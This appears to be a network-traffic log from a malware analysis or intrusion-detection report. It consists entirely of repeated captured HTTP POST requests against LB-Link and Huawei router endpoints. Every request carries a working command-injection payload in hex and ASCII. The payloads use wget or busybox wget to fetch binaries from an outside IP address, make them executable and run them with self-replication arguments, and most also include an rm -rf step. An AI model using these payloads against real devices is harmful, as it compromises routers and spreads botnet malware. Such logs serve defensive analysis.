Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
